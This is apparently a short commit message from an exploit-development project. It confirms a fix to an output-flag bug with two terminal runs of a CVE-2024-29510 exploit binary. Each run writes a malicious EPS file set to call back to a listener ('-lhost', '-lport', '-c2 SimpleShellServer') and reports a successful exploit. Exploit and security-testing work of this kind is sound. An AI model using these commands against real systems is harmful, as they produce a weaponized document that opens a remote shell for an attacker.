Fix #285 - FileFormat and -o interaction

[j-baines]

See #285 for the problem. With this fix, all is well:

albinolobster@mournland:~/initial-access/feed/cve-2024-29510/generic$ ./build/cve-2024-29510_linux-arm64 -e -out evil.eps -in template.eps -lhost 10.9.49.7 -lport 1270 -c2 SimpleShellServer -o
time=2024-12-05T15:02:36.151-05:00 level=STATUS msg="Writing the malicious document to evil.eps"
time=2024-12-05T15:02:36.152-05:00 level=SUCCESS msg="Exploit successfully completed" exploited=true
albinolobster@mournland:~/initial-access/feed/cve-2024-29510/generic$ 

and

albinolobster@mournland:~/initial-access/feed/cve-2024-29510/generic$ ./build/cve-2024-29510_linux-arm64 -e -out evil.eps -in template.eps -lhost 10.9.49.185 -lport 1270 -c2 Si
mpleShellServer
time=2024-12-05T15:08:16.323-05:00 level=STATUS msg="Starting listener on 10.9.49.185:1270"
time=2024-12-05T15:08:16.324-05:00 level=STATUS msg="Writing the malicious document to evil.eps"
time=2024-12-05T15:08:16.324-05:00 level=SUCCESS msg="Exploit successfully completed" exploited=true